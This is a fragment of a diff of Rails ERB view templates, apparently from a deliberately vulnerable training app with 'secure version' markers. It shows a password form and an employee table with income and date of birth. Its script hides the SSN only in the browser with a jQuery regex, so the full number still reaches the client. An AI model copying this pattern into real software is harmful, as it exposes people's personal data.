<%= f.password_field :password, {:class => "input input-block-level", :placeholder => "Password"}%> <%= f.password_field :password, {:class => "input input-block-level", :placeholder => "Password"}%>
</div> </div>
@@ -26,7 +26,7 @@
<%= f.password_field :password_confirmation, {:class => "input input-block-level", :placeholder => "Confirm Password"}%> <%= f.password_field :password_confirmation, {:class => "input input-block-level", :placeholder => "Confirm Password"}%>
</div> </div>
</div> </div>
<div class="actions"> <div class="actions">
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info btn-large pull-right"} %> <%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info btn-large pull-right"} %>
</div> </div>
@@ -36,7 +36,7 @@
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
+5 -5
View File
@@ -21,7 +21,7 @@
</tr> </tr>
</thead> </thead>
<tbody> <tbody>
<tr> <tr>
<td><%= "#{@user.first_name} #{@user.last_name}" %></td> <td><%= "#{@user.first_name} #{@user.last_name}" %></td>
<td><%= @user.work_info.income %></td> <td><%= @user.work_info.income %></td>
@@ -33,7 +33,7 @@
<!-- End Secure Version --> <!-- End Secure Version -->
<td><%= @user.work_info.DoB %></td> <td><%= @user.work_info.DoB %></td>
</tr> </tr>
</tbody> </tbody>
</table> </table>
</div> </div>
@@ -41,7 +41,7 @@
</div> </div>
</div> </div>
</div> </div>
</div> </div>
<script type="text/javascript"> <script type="text/javascript">
@@ -49,14 +49,14 @@
function maskSSN(){ function maskSSN(){
var fullSSN = $("td.ssn").html().replace(/\d{3}.*?\d{2}/, "*****"); var fullSSN = $("td.ssn").html().replace(/\d{3}.*?\d{2}/, "*****");
$("td.ssn").html(fullSSN); $("td.ssn").html(fullSSN);
} }
function makeActive(){ function makeActive(){
$('li[id="employee_info"]').addClass('active'); $('li[id="employee_info"]').addClass('active');
}; };
$(document).ready(function () { $(document).ready(function () {
maskSSN(), maskSSN(),